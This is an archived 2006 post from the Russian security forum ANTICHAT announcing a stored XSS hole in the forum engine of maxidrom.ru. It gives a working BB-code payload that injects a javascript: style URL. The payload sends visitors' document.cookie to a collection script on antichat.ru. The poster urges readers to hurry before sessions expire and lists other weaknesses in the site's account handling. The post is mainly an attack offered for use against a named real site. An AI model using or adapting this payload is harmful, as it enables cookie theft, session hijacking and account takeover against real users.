maxidrom.ru/forum/ активная XSS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

maxidrom.ru/forum/ активная XSS

30.05.2006, 01:23

~~Elekt~~

Banned

Регистрация: 05.12.2005

Сообщений: 982

Провел на форуме:
4839935

Репутация: 1202

Отправить сообщение для Elekt с помощью ICQ

maxidrom.ru/forum/ активная XSS

Обнаружена активная хсс в движке Максидрома. Нет проверки спаренных ВВ-тегов:

PHP код:


		
			
[email]re@re[url=http://www.re.com'='][/url].com[/email] ' style='background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)'

В опере не пашет, в FF не проверял.
Время сессии - сутки. Торопитесь =]

Пара коментов:
- отутствеует всякая проверка на регистрацию
- отсутствует ретрив пароля на мыло(если забыл - твои проблемы)
- можно сменить ЛЮБЫЕ данные в профиле БЕЗ ввода старого пароля, для смены пароля нужно знать старый

Последний раз редактировалось Elekt; 30.05.2006 в 01:25..